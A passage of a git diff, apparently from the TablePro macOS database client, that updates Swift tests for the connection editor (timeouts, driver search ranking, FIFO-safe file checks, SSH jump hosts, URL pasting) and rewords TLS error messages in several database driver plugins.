ConnectionTimeoutSettingsTests { #expect(draft.options.queryTimeoutSeconds == 180) } + // One line under the label: the range as a fix, grouped the way the locale writes numbers. + private static func seconds(_ lower: Int, _ upper: Int) -> String { + String(format: String(localized: "Enter %1$@ to %2$@ seconds."), lower.formatted(), upper.formatted()) + } + @Test("Connect timeout accepts only values from 1 through 600") func validatesConnectTimeout() { var draft = namedDraft() @@ -118,13 +123,13 @@ struct ConnectionTimeoutSettingsTests { #expect(advancedIssues(draft).isEmpty) draft.options.connectTimeoutSeconds = 0 - #expect(advancedIssues(draft) == ["Connect timeout must be between 1 and 600 seconds."]) + #expect(advancedIssues(draft) == [Self.seconds(1, 600)]) draft.options.connectTimeoutSeconds = 600 #expect(advancedIssues(draft).isEmpty) draft.options.connectTimeoutSeconds = 601 - #expect(advancedIssues(draft) == ["Connect timeout must be between 1 and 600 seconds."]) + #expect(advancedIssues(draft) == [Self.seconds(1, 600)]) } @Test("Query timeout accepts only values safe for millisecond APIs") @@ -145,10 +150,10 @@ struct ConnectionTimeoutSettingsTests { #expect(advancedIssues(draft).isEmpty) draft.options.queryTimeoutSeconds = maximum + 1 - #expect(advancedIssues(draft) == ["Query timeout must be between 0 and 2,147,483 seconds."]) + #expect(advancedIssues(draft) == [Self.seconds(0, 2_147_483)]) draft.options.queryTimeoutSeconds = -1 - #expect(advancedIssues(draft) == ["Query timeout must be between 0 and 2,147,483 seconds."]) + #expect(advancedIssues(draft) == [Self.seconds(0, 2_147_483)]) } @Test("Connection form edits include both timeout overrides") diff --git a/apple/TableProTests/ViewModels/DatabaseTypeChooserModelTests.swift b/apple/TableProTests/ViewModels/DatabaseTypeChooserModelTests.swift index e1004b3927..495aa29b99 100644 --- a/apple/TableProTests/ViewModels/DatabaseTypeChooserModelTests.swift +++ b/apple/TableProTests/ViewModels/DatabaseTypeChooserModelTests.swift @@ -20,7 +20,7 @@ struct DatabaseTypeChooserModelTests { DatabaseTypeChooserModel(types: [.postgresql, .cockroachdb, .pglite, .mysql, .mariadb, .sqlite]) } - @Test("a query naming a driver exactly arms that driver, not an alphabetically earlier tagline hit") + @Test("a query naming a driver exactly lists and arms that driver ahead of a tagline hit") func exactNameOutranksATaglineMatch() { let model = model() model.searchText = "PostgreSQL" @@ -29,10 +29,34 @@ struct DatabaseTypeChooserModelTests { model.filteredTypes.contains(.cockroachdb), "CockroachDB's tagline mentions PostgreSQL, so it is still a visible result" ) - #expect(model.orderedTypes.first != .postgresql, "CockroachDB sorts ahead of it on screen") + #expect(model.orderedTypes.first == .postgresql, "The named driver lists first, ahead of CockroachDB") #expect(model.highlightedType == .postgresql, "The armed row must be the driver that was named") } + // "p" armed PGlite, and "post" kept it because PGlite's tagline says Postgres, so Return opened PGlite. + @Test("typing on past a prefix moves the highlight to the best match") + func typingOnArmsTheBestMatch() { + let model = model() + model.searchText = "p" + #expect(model.highlightedType == .pglite, "Both names start with p, and PGlite sorts first") + + for query in ["po", "pos", "post"] { + model.searchText = query + #expect(model.highlightedType == .postgresql, "\(query) begins only PostgreSQL's name") + #expect(model.orderedTypes.first == .postgresql) + } + } + + @Test("a name match lists ahead of matches on the tagline or category") + func nameMatchesListFirst() { + let model = model() + model.searchText = "sql" + let rows = model.orderedTypes + let named = rows.prefix { $0.rawValue.lowercased().contains("sql") } + #expect(named.count == rows.filter { $0.rawValue.lowercased().contains("sql") }.count) + #expect(model.highlightedType == .sqlite, "A name that begins with the query outranks one that holds it") + } + @Test("MySQL is armed over MariaDB, whose tagline names it") func exactNameOutranksAForkTagline() { let model = model() diff --git a/apple/TableProTests/Views/Connection/ConnectionTileGlyphColorTests.swift b/apple/TableProTests/Views/Connection/ConnectionTileGlyphColorTests.swift index 7deb57a799..62ac53caed 100644 --- a/apple/TableProTests/Views/Connection/ConnectionTileGlyphColorTests.swift +++ b/apple/TableProTests/Views/Connection/ConnectionTileGlyphColorTests.swift @@ -13,6 +13,7 @@ import Testing @MainActor struct ConnectionTileGlyphColorTests { private static let postgresBlue = NSColor(srgbRed: 0x33 / 255, green: 0x67 / 255, blue: 0x91 / 255, alpha: 1) + private static let yellow = NSColor(srgbRed: 0xFF / 255, green: 0xD1 / 255, blue: 0x00 / 255, alpha: 1) private static let orange = NSColor(srgbRed: 0xF2 / 255, green: 0x91 / 255, blue: 0x11 / 255, alpha: 1) private static let tolerance: CGFloat = 0.01 @@ -46,7 +47,7 @@ struct ConnectionTileGlyphColorTests { return hue } - @Test("PostgreSQL's blue fails on the dark tile as drawn, and the lifted glyph clears 3:1") + @Test("PostgreSQL's blue fails on the dark tile as drawn, and the lifted glyph clears the floor") func postgresBlueIsLiftedInDarkMode() throws { let resolved = try resolve(Self.postgresBlue, in: .darkAqua) let raw = ConnectionTileMetrics.contrast(Self.postgresBlue.relativeLuminance, resolved.tileLuminance) @@ -66,10 +67,24 @@ struct ConnectionTileGlyphColorTests { @Test("A brand that already clears the dark tile is left alone") func legibleBrandIsUntouched() throws { - let resolved = try resolve(Self.orange, in: .darkAqua) - #expect(abs(resolved.glyph.redComponent - Self.orange.redComponent) < Self.tolerance) - #expect(abs(resolved.glyph.greenComponent - Self.orange.greenComponent) < Self.tolerance) - #expect(abs(resolved.glyph.blueComponent - Self.orange.blueComponent) < Self.tolerance) + let resolved = try resolve(Self.yellow, in: .darkAqua) + #expect(abs(resolved.glyph.redComponent - Self.yellow.redComponent) < Self.tolerance) + #expect(abs(resolved.glyph.greenComponent - Self.yellow.greenComponent) < Self.tolerance) + #expect(abs(resolved.glyph.blueComponent - Self.yellow.blueComponent) < Self.tolerance) + } + + // MySQL's orange cleared 3:1 and still read as a smudge at tile size. + // The tile as the editor drew it in Dark Mode: (69, 67, 67), quaternary label over the form's row. + @Test("A brand over 3:1 but under the text floor is lifted too, keeping its hue") + func thinLineArtNeedsTheTextFloor() { + let tile: CGFloat = 0.058 + let raw = ConnectionTileMetrics.contrast(Self.orange.relativeLuminance, tile) + let lifted = ConnectionTileMetrics.liftedGlyph(Self.orange, onTileLuminance: tile) + + #expect(raw >= 3) + #expect(raw < ConnectionTileMetrics.minimumGlyphContrast) + #expect(ConnectionTileMetrics.contrast(lifted.relativeLuminance, tile) >= ConnectionTileMetrics.minimumGlyphContrast - Self.tolerance) + #expect(abs(hue(of: lifted) - hue(of: Self.orange)) < Self.tolerance) } @Test("A hue too dark at full brightness gives up saturation and still clears 3:1") diff --git a/apple/TableProTests/Views/ConnectionForm/DatabaseFilePanelTests.swift b/apple/TableProTests/Views/ConnectionForm/DatabaseFilePanelTests.swift index 1321194464..bcbab90eeb 100644 --- a/apple/TableProTests/Views/ConnectionForm/DatabaseFilePanelTests.swift +++ b/apple/TableProTests/Views/ConnectionForm/DatabaseFilePanelTests.swift @@ -7,8 +7,11 @@ // no name field, so a database file that did not exist yet could only be typed by hand. // +import Darwin import Foundation @testable import TablePro +import TableProTestSupport +import TableProUtilities import Testing @MainActor @@ -53,10 +56,51 @@ struct DatabaseFilePanelTests { #expect(rule.isEnabled(try file("map.gpkg", contents: sqliteHeader))) } - @Test("A file on this Mac's own disk is read, and a missing one is not") + @Test("A file on this Mac's own disk is read, and a missing or empty one is not") func onlyLocalFilesAreRead() throws { - #expect(PanelEnableFilter.isQuickToRead(try file("local.bin"))) - #expect(!PanelEnableFilter.isQuickToRead(folder.appendingPathComponent("absent.bin"))) + #expect(DatabaseFileClassifier.isReadableWithoutWaiting(try file("local.bin"))) + #expect(!DatabaseFileClassifier.isReadableWithoutWaiting(folder.appendingPathComponent("absent.bin"))) + #expect(!DatabaseFileClassifier.isReadableWithoutWaiting(try file("empty.db", contents: Data()))) + } + + // The panel asks on the main thread; a FIFO blocks open() until a writer appears, which froze the app. + @Test("A FIFO, named like a database or not, is dimmed at once and never opened") + func fifoIsDimmedWithoutBlocking() async throws { + let named = try fifo("pipe.db") + let bare = try fifo("pipe") + let rule = DatabaseFileBrowseRule(type: .sqlite, extensions: sqliteExtensions) + + let answers = await BoundedCall.resultOnItsOwnThread(within: .seconds(5)) { + [rule.isEnabled(named), rule.isEnabled(bare), DatabaseFileClassifier.isReadableWithoutWaiting(bare)] + } + #expect(answers == [false, false, false]) + + let classified = await BoundedCall.resultOnItsOwnThread(within: .seconds(5)) { + let candidates = ["SQLite": [DatabaseFileSignature.magic("SQLite format 3\u{0}")]] + return [ + DatabaseFileClassifier.classify(bare, candidates: candidates, access: .withoutWaiting), + DatabaseFileClassifier.classify(bare, candidates: candidates, access: .mayWait), + ] + } + #expect(classified == [nil, nil]) + + try #require(answers != nil, "The rule blocked, so asking the filter on the main thread would hang") + let filter = PanelEnableFilter(isEnabled: rule.isEnabled) + #expect(!filter.panel(NSObject(), shouldEnable: named)) + #expect(!filter.panel(NSObject(), shouldEnable: bare)) + } + + @Test("A SQLite file read without waiting is still identified by its bytes") + func localDatabaseIsReadWithoutWaiting() throws { + let candidates = ["SQLite": [DatabaseFileSignature.magic("SQLite format 3\u{0}")]] + let database = try file("History", contents: sqliteHeader) + #expect(DatabaseFileClassifier.classify(database, candidates: candidates, access: .withoutWaiting) == .sqlite) + } + + private func fifo(_ name: String) throws -> URL { + let url = folder.appendingPathComponent(name) + try #require(mkfifo(url.path, 0o600) == 0) + return url } @Test("A file of some other kind stays disabled") diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineFieldVisibilityTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineFieldVisibilityTests.swift index 4e353badc6..57dac0724e 100644 --- a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineFieldVisibilityTests.swift +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineFieldVisibilityTests.swift @@ -100,6 +100,48 @@ struct ConnectionEditorEngineFieldVisibilityTests { #expect(pluginRows(sentinel, traits, facet: .general, section: "authentication").contains("sentinelPassword")) } + // "Use ~/.pgpass" sat between Username and Method, and the method picker under the credentials it decides. + @Test("Authentication reads Method, Credentials, Username, Password, then the switch that stands in for the password") + func authenticationRowOrder() { + let traits = traits([ + field("usePgpass", section: .authentication, type: .toggle, hidesPassword: true), + field( + "authMethod", + section: .authentication, + defaultValue: "password", + type: .dropdown(options: [.init(value: "password", label: "Password"), .init(value: "sso", label: "SSO")]), + hidesPassword: true + ), + ]) + let rows = ConnectionEditorEngine.layout(draft(traits), traits, EditorContext()) + .facet(.general)?.sections.first { $0.id == "authentication" }?.rows + + #expect(rows == [ + .plugin(fieldID: "authMethod"), + .builtIn(.credentialProfile), + .builtIn(.username), + .builtIn(.passwordMode), + .builtIn(.password), + .plugin(fieldID: "usePgpass"), + ]) + } + + @Test("PostgreSQL's Authentication puts ~/.pgpass after Password") + func postgresPgpassFollowsPassword() throws { + let postgres = ConnectionTypeTraits.live(for: .postgresql, pluginManager: .shared) + try #require(postgres.field("usePgpass") != nil) + let rows = ConnectionEditorEngine.layout(draft(postgres), postgres, EditorContext()) + .facet(.general)?.sections.first { $0.id == "authentication" }?.rows ?? [] + let pgpass = try #require(rows.firstIndex(of: .plugin(fieldID: "usePgpass"))) + let password = try #require(rows.firstIndex(of: .builtIn(.password))) + let credentials = try #require(rows.firstIndex(of: .builtIn(.credentialProfile))) + + #expect(password < pgpass) + if let method = rows.firstIndex(of: .plugin(fieldID: "awsAuth")) { + #expect(method < credentials) + } + } + @Test("A dropdown off its default, a toggle that is on, or the type itself hides the password") func hidesPasswordFromDropdownToggleAndType() { let dropdown = traits([field( diff --git a/apple/TableProTests/Views/ConnectionForm/Facets/SafeModeFacetLayoutTests.swift b/apple/TableProTests/Views/ConnectionForm/Facets/SafeModeFacetLayoutTests.swift new file mode 100644 index 0000000000..40e1f40e5d --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Facets/SafeModeFacetLayoutTests.swift @@ -0,0 +1,66 @@ +// +// SafeModeFacetLayoutTests.swift +// TableProTests +// + +import AppKit +import Foundation +import SwiftUI +import Testing + +@testable import TablePro + +@MainActor +struct SafeModeFacetLayoutTests { + // The default window is 780 pt wide with a 220 pt sidebar. + private static let detailWidth: CGFloat = 560 + + private func storeWithEveryMaskingStyle() throws -> (ConnectionEditorStoreFixture, ConnectionEditorStore) { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + for style in MaskingStyle.allCases { + let id = store.addMaskingRule() + store.updateMaskingRule(MaskingRule(id: id, pattern: "customers.billing_email_address", target: .type, style: style)) + } + return (fixture, store) + } + + private func flush(_ window: NSWindow) { + for _ in 0..<3 { + RunLoop.main.run(until: Date()) + window.contentView?.layoutSubtreeIfNeeded() + window.displayIfNeeded() + } + } + + @Test("Masking rules never make the Safe Mode page wider than the detail column") + func maskingRulesFitTheDetailColumn() throws { + let (fixture, store) = try storeWithEveryMaskingStyle() + defer { withExtendedLifetime(fixture) {} } + let proposal = CGSize(width: Self.detailWidth, height: 700) + + let controller = NSHostingController(rootView: SafeModeFacetView(store: store)) + #expect(controller.sizeThatFits(in: proposal).width <= Self.detailWidth + 0.5) + + let window = NSWindow( + contentRect: NSRect(origin: .zero, size: proposal), + styleMask: [.titled], + backing: .buffered, + defer: false + ) + window.isReleasedWhenClosed = false + defer { window.orderOut(nil) } + controller.view.frame = NSRect(origin: .zero, size: proposal) + window.contentView?.addSubview(controller.view) + flush(window) + + var stack: [NSView] = [controller.view] + while let view = stack.popLast() { + stack.append(contentsOf: view.subviews) + guard let scrollView = view as? NSScrollView else { continue } + let frame = scrollView.convert(scrollView.bounds, to: nil) + #expect(frame.minX >= -0.5, "\(frame)") + #expect(frame.maxX <= Self.detailWidth + 0.5, "\(frame)") + } + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorWindowTests.swift b/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorWindowTests.swift index 76756c53fc..07b62f16e1 100644 --- a/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorWindowTests.swift +++ b/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorWindowTests.swift @@ -301,6 +301,46 @@ struct ConnectionEditorWindowTests { #expect(ConnectionEditorCloseGuard.choice(for: .alertThirdButtonReturn) == .dontSave) } + @Test("With Save blocked the alert says why and offers only Cancel and Don't Save, neither on Return") + func blockedSaveAlert() { + let reason = "Enter a port from 1 to 65535." + let prompt = ConnectionEditorSavePrompt(connectionName: "Orders", blockingIssue: reason) + let alert = ConnectionEditorCloseGuard.makeAlert(prompt) + let titles = alert.buttons.map { $0.title } + + #expect(!prompt.canSave) + #expect(titles == [String(localized: "Cancel"), String(localized: "Don't Save")]) + #expect(alert.buttons.first?.keyEquivalent == "\u{1B}") + #expect(!alert.buttons.contains { $0.keyEquivalent == "\r" }) + #expect(alert.messageText == String(format: String(localized: "The changes to “%@” can't be saved yet."), "Orders")) + #expect(alert.informativeText.hasPrefix(reason)) + #expect(ConnectionEditorCloseGuard.choice(for: .alertFirstButtonReturn, canSave: false) == .cancel) + #expect(ConnectionEditorCloseGuard.choice(for: .alertSecondButtonReturn, canSave: false) == .dontSave) + } + + @Test("A blocked close names the issue, and Cancel keeps the window and goes to it") + func blockedCancelRevealsTheIssue() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres() + fixture.seed([connection]) + let blocked = makeController(fixture, .edit(connectionId: connection.id)) + defer { blocked.close() } + blocked.store.update { $0.host = "replica.example.com" } + blocked.store.setPort("99999") + blocked.store.selectedFacet = .appearance + + guard case .askToSave(let prompt) = blocked.closeVerdict else { + Issue.record("Expected the close to ask") + return + } + #expect(prompt.blockingIssue == blocked.store.firstBlockingIssue?.message) + blocked.resolveClose(.cancel) + + #expect(!blocked.store.isClosing) + #expect(blocked.store.selectedFacet == .general) + #expect(fixture.storage.loadConnection(id: connection.id)?.host == "db.example.com") + } + @Test("Cancel on an untouched editor closes it at once") func cancelWithoutEditsCloses() throws { let fixture = try ConnectionEditorStoreFixture() diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreSSHAndProxiesTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreSSHAndProxiesTests.swift index dcd4505f28..ea41abd136 100644 --- a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreSSHAndProxiesTests.swift +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreSSHAndProxiesTests.swift @@ -4,6 +4,7 @@ // import Foundation +import TableProSSHConfig import Testing @testable import TablePro @@ -55,4 +56,56 @@ struct ConnectionEditorStoreSSHAndProxiesTests { postgres.selectTransport(.ssh) #expect(postgres.tunnelHostListAdvice == nil) } + + @Test("A file database picks where its file lives; a network database picks a transport") + func fileDatabaseTransportIsALocation() throws { + let fixture = try ConnectionEditorStoreFixture() + let sqlite = fixture.makeStore(.new(type: .sqlite, parsedURL: nil)) + #expect(sqlite.availableTransports.contains(.remoteFile)) + #expect(sqlite.transportIsLocationChoice) + + let postgres = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + #expect(!postgres.transportIsLocationChoice) + } + + @Test("A jump host names the field it lacks: the address first, then a key file for key sign-in") + func missingJumpHostField() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + store.selectTransport(.ssh) + let id = store.addJumpHost() + #expect(store.missingJumpHostField(id) == .host) + + store.updateJumpHost(SSHJumpHost(id: id, host: "bastion.example.com", authMethod: .privateKey)) + #expect(store.missingJumpHostField(id) == .keyFile) + + store.updateJumpHost(SSHJumpHost(id: id, host: "", authMethod: .privateKey)) + #expect(store.missingJumpHostField(id) == .host) + + store.updateJumpHost(SSHJumpHost(id: id, host: "bastion.example.com", authMethod: .privateKey, privateKeyPath: "~/.ssh/id_ed25519")) + #expect(store.missingJumpHostField(id) == nil) + + store.updateJumpHost(SSHJumpHost(id: id, host: "bastion.example.com", authMethod: .sshAgent)) + #expect(store.missingJumpHostField(id) == nil) + #expect(store.missingJumpHostField(UUID()) == nil) + } + + @Test("Every hop the field check passes is one the engine leaves without an issue") + func missingJumpHostFieldMatchesTheEngine() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + store.selectTransport(.ssh) + store.update { $0.ssh.host = "ssh.example.com" } + let hops = [ + SSHJumpHost(host: ""), + SSHJumpHost(host: "a.example.com", authMethod: .privateKey), + SSHJumpHost(host: "b.example.com", authMethod: .privateKey, privateKeyPath: "~/.ssh/id_ed25519"), + SSHJumpHost(host: "c.example.com", authMethod: .sshAgent) + ] + store.update { $0.ssh.jumpHosts = hops } + for hop in hops { + let flagged = !store.issues(for: .builtIn(.jumpHost(hop.id))).isEmpty + #expect(flagged == (store.missingJumpHostField(hop.id) != nil), "\(hop.host)") + } + } } diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTests.swift index de0553f873..f160160a18 100644 --- a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTests.swift +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTests.swift @@ -415,4 +415,63 @@ struct ConnectionEditorStoreTests { #expect(store.pastedURLNotice == nil) #expect(store.draft.database.isEmpty) } + + // The Host field still showed the URL and handed it back, and the second apply found nothing to list. + @Test("A paste into Host lists what it filled, and the URL handed back again changes nothing") + func pastedURLHandedBackIsIgnored() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + let url = "postgresql://app@db.example.com:5432/orders" + + store.setHost(url, undoManager: nil) + let notice = try #require(store.pastedURLNotice) + for filled in [String(localized: "Host"), String(localized: "Database"), String(localized: "Username")] { + #expect(notice.changes.contains(filled)) + } + #expect(notice.message != String(localized: "The URL matches this connection.")) + + store.setHost(url, undoManager: nil) + #expect(store.pastedURLNotice == notice) + #expect(store.draft.host == "db.example.com") + #expect(store.draft.database == "orders") + } + + @Test("A URL without a name leaves Name empty, so the suggestion names it and follows the host") + func pastedURLNameFollowsTheSuggestion() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + + store.setHost("postgresql://app@db.example.com/orders", undoManager: nil) + #expect(store.draft.name.isEmpty) + #expect(store.namePrompt == ConnectionEditorEngine.suggestedName(store.draft, store.traits)) + #expect(store.namePrompt == "db.example.com/orders") + + store.update { $0.host = "127.0.0.1" } + #expect(store.namePrompt == "127.0.0.1/orders") + + let imported = try ConnectionEditorStoreFixture() + .makeStore(.new(type: nil, parsedURL: try ConnectionURLParser.parse("postgresql://app@db.example.com/orders").get())) + #expect(imported.effectiveName == "db.example.com/orders") + } + + @Test("A driver's unreachable-server text reads as Server not reachable, with what to check and no tab indents") + func unreachableServerFailure() { + let refused = NSError(domain: "PostgreSQL", code: 0, userInfo: [ + NSLocalizedDescriptionKey: "connection to server at \"127.0.0.1\", port 5999 failed: Connection refused\n" + + "\tIs the server running on that host and accepting TCP/IP connections?", + ]) + let unknownHost = NSError(domain: "PostgreSQL", code: 0, userInfo: [ + NSLocalizedDescriptionKey: "could not translate host name \"db.example.com\" to address: " + + "nodename nor servname provided, or not known", + ]) + let connection = DatabaseConnection(name: "Orders", type: .postgresql) + + for error in [refused, unknownHost] { + let failure = ConnectionEditorStore.failure(for: error, connection: connection) + #expect(failure.step == .network) + #expect(failure.summary == String(localized: "Server not reachable")) + #expect(failure.suggestion == ConnectionTestFailureStep.network.suggestion) + #expect(!failure.message.contains("\t")) + } + } } From 4ca71a423cfa2245b9652e0b1fb068de597a9d95 Mon Sep 17 00:00:00 2001 From: Ngo Quoc Dat Date: Sun, 22 Nov 2026 23:20:52 +0700 Subject: [PATCH 06/13] wip(connection-editor): fix Codex review findings, TLS recovery copy --- .../ClickHousePlugin.swift | 4 +- .../EtcdDriverPlugin/EtcdServerTrust.swift | 2 +- .../QdrantURLSessionTransport.swift | 4 +- .../TableProPluginKit/SSLHandshakeError.swift | 14 +- .../TrinoDriverPlugin/TrinoSSLMapping.swift | 4 +- .../Storage/ConnectionApprovalStore.swift | 11 ++ .../Engine/ConnectionDraft+Transports.swift | 8 +- .../Engine/ConnectionDraft+URLImport.swift | 40 ++++- .../Engine/ConnectionEditorEngine+Edits.swift | 4 + .../ConnectionEditorEngine+Issues.swift | 22 ++- .../Engine/SecretWritePlan.swift | 81 ++++++++++ .../Facets/SSHAndProxiesJumpHostRows.swift | 3 +- .../Store/ConnectionEditorStore+Edits.swift | 2 +- .../Store/ConnectionEditorStore+Load.swift | 1 + .../ConnectionEditorStore+SSHAndProxies.swift | 2 + .../Store/ConnectionEditorStore+Save.swift | 40 +++-- .../Store/ConnectionEditorStore.swift | 6 +- .../ConnectionDraftURLImportTests.swift | 37 +++++ ...ctionEditorEngineTransportIssueTests.swift | 90 +++++++++++ .../Store/ConnectionEditorStoreFixture.swift | 16 +- .../Store/ConnectionEditorStoreTests.swift | 141 ++++++++++++++++++ .../Views/SQLCodeFieldThemeTests.swift | 2 +- 22 files changed, 490 insertions(+), 44 deletions(-) diff --git a/apple/Plugins/ClickHouseDriverPlugin/ClickHousePlugin.swift b/apple/Plugins/ClickHouseDriverPlugin/ClickHousePlugin.swift index 656b156340..61a1d1f091 100644 --- a/apple/Plugins/ClickHouseDriverPlugin/ClickHousePlugin.swift +++ b/apple/Plugins/ClickHouseDriverPlugin/ClickHousePlugin.swift @@ -140,11 +140,11 @@ nonisolated struct ClickHouseError: Error, PluginDriverError { static let notConnected = ClickHouseError(message: String(localized: "Not connected to database")) static let verifyCaNeedsCertificate = ClickHouseError(message: String(localized: """ - Verify CA needs a CA certificate. On the connection's Network tab, choose the CA certificate that signed \ + Verify CA needs a CA certificate. In the connection's SSL/TLS settings, choose the CA certificate that signed \ the server's certificate, or set SSL Mode to Verify Identity. """)) static let clientCertificateNeedsKey = ClickHouseError(message: String(localized: """ - A client certificate needs its client key. On the connection's Network tab, choose the client key, or \ + A client certificate needs its client key. In the connection's SSL/TLS settings, choose the client key, or \ clear the client certificate. """)) diff --git a/apple/Plugins/EtcdDriverPlugin/EtcdServerTrust.swift b/apple/Plugins/EtcdDriverPlugin/EtcdServerTrust.swift index 82eba46a5d..dca12b74cf 100644 --- a/apple/Plugins/EtcdDriverPlugin/EtcdServerTrust.swift +++ b/apple/Plugins/EtcdDriverPlugin/EtcdServerTrust.swift @@ -15,7 +15,7 @@ internal enum EtcdTLSConfigurationError: Error, LocalizedError, Equatable { switch self { case .verifyCANeedsCertificate: return String(localized: """ - Verify CA needs a CA certificate. In the etcd section of the Options tab, choose the CA Certificate \ + Verify CA needs a CA certificate. In the etcd section of the connection's Advanced settings, choose the CA Certificate \ that signed the server's certificate, or set TLS Mode to Verify Identity. """) case .unreadableCACertificate(let path): diff --git a/apple/Plugins/QdrantDriverPlugin/QdrantURLSessionTransport.swift b/apple/Plugins/QdrantDriverPlugin/QdrantURLSessionTransport.swift index 0f54ba2843..6168ebb49d 100644 --- a/apple/Plugins/QdrantDriverPlugin/QdrantURLSessionTransport.swift +++ b/apple/Plugins/QdrantDriverPlugin/QdrantURLSessionTransport.swift @@ -29,7 +29,7 @@ struct QdrantTLS: @unchecked Sendable { let anchor = try anchorCertificate(at: ssl.caCertificatePath, for: verification) if verification == .caOnly, anchor == nil { throw QdrantError.configuration(String(localized: """ - Verify CA needs a CA certificate. On the connection's Network tab, choose the CA certificate \ + Verify CA needs a CA certificate. In the connection's SSL/TLS settings, choose the CA certificate \ that signed the server's certificate, or set SSL Mode to Verify Identity. """)) } @@ -57,7 +57,7 @@ struct QdrantTLS: @unchecked Sendable { guard ssl.isEnabled, !certificatePath.isEmpty else { return nil } guard !keyPath.isEmpty else { throw QdrantError.configuration(String(localized: """ - A client certificate needs its client key. On the connection's Network tab, choose the \ + A client certificate needs its client key. In the connection's SSL/TLS settings, choose the \ client key, or clear the client certificate. """)) } diff --git a/apple/Plugins/TableProPluginKit/SSLHandshakeError.swift b/apple/Plugins/TableProPluginKit/SSLHandshakeError.swift index 5732e9b861..8a30ea395b 100644 --- a/apple/Plugins/TableProPluginKit/SSLHandshakeError.swift +++ b/apple/Plugins/TableProPluginKit/SSLHandshakeError.swift @@ -86,24 +86,24 @@ public enum SSLHandshakeError: Error, LocalizedError, Sendable { public var recoverySuggestion: String? { switch self { case .serverRejectedPlaintext: - return String(localized: "On the connection's Network tab, set SSL Mode to Verify Identity, or to Required to skip the certificate check.") + return String(localized: "In the connection's SSL/TLS settings, set SSL Mode to Verify Identity, or to Required to skip the certificate check.") case .serverRequiresPlaintext: - return String(localized: "On the connection's Network tab, set SSL Mode to Disabled.") + return String(localized: "In the connection's SSL/TLS settings, set SSL Mode to Disabled.") case .untrustedCertificate: return String(localized: """ - On the connection's Network tab, choose the server's CA certificate under Verify Identity \ + In the connection's SSL/TLS settings, choose the server's CA certificate under Verify Identity \ or Verify CA. Required (skip verify) also connects, but does not check the certificate. """) case .hostnameMismatch: return String(localized: "Change Host to a name the certificate covers.") case .clientCertRequired: - return String(localized: "Choose the client certificate and key on the connection's Network tab.") + return String(localized: "Choose the client certificate and key in the connection's SSL/TLS settings.") case .clientKeyPassphraseRequired: - return String(localized: "Enter the Key Passphrase on the connection's Network tab.") + return String(localized: "Enter the Key Passphrase in the connection's SSL/TLS settings.") case .clientKeyPassphraseIncorrect: - return String(localized: "Correct the Key Passphrase on the connection's Network tab.") + return String(localized: "Correct the Key Passphrase in the connection's SSL/TLS settings.") case .clientKeyInvalid: - return String(localized: "Check that the Client Key path points to a valid PEM private key.") + return String(localized: "Check that the client key file is a valid PEM private key.") case .cipherMismatch: return String(localized: "Update the server's TLS configuration or use a newer database server version that supports modern ciphers.") case .unknown: diff --git a/apple/Plugins/TrinoDriverPlugin/TrinoSSLMapping.swift b/apple/Plugins/TrinoDriverPlugin/TrinoSSLMapping.swift index 953ec894c3..71be36b578 100644 --- a/apple/Plugins/TrinoDriverPlugin/TrinoSSLMapping.swift +++ b/apple/Plugins/TrinoDriverPlugin/TrinoSSLMapping.swift @@ -19,7 +19,7 @@ enum TrinoSSLMapping { if mode == .caOnly, anchor == nil { throw TrinoError.invalidConfiguration(String( localized: """ - Verify CA needs a CA certificate. On the connection's Network tab, choose the CA certificate \ + Verify CA needs a CA certificate. In the connection's SSL/TLS settings, choose the CA certificate \ that signed the server's certificate, or set SSL Mode to Verify Identity. """ )) @@ -53,7 +53,7 @@ enum TrinoSSLMapping { guard !keyPath.isEmpty else { throw TrinoError.invalidConfiguration(String( localized: """ - A client certificate needs its client key. On the connection's Network tab, choose the \ + A client certificate needs its client key. In the connection's SSL/TLS settings, choose the \ client key, or clear the client certificate. """ )) diff --git a/apple/TablePro/Core/Storage/ConnectionApprovalStore.swift b/apple/TablePro/Core/Storage/ConnectionApprovalStore.swift index bf295297f9..bdfe5e76d8 100644 --- a/apple/TablePro/Core/Storage/ConnectionApprovalStore.swift +++ b/apple/TablePro/Core/Storage/ConnectionApprovalStore.swift @@ -61,6 +61,17 @@ internal final class ConnectionApprovalStore { Self.logger.info("Approved \(self.kind.logName, privacy: .public) for a connection") } + // Approves `connection` only where it asks for no more than `reviewed` did, at the same destination. + internal func approve(_ connection: DatabaseConnection, asReviewed reviewed: DatabaseConnection) { + guard dialedDestination(connection).digest == dialedDestination(reviewed).digest, + kind.items(in: connection).isSubset(of: kind.items(in: reviewed)) + else { + Self.logger.info("Left \(self.kind.logName, privacy: .public) unapproved: the saved definition differs from the one shown") + return + } + approve(connection) + } + internal func revoke(for connectionId: UUID) { var all = approvals() guard all.removeValue(forKey: connectionId.uuidString) != nil else { return } diff --git 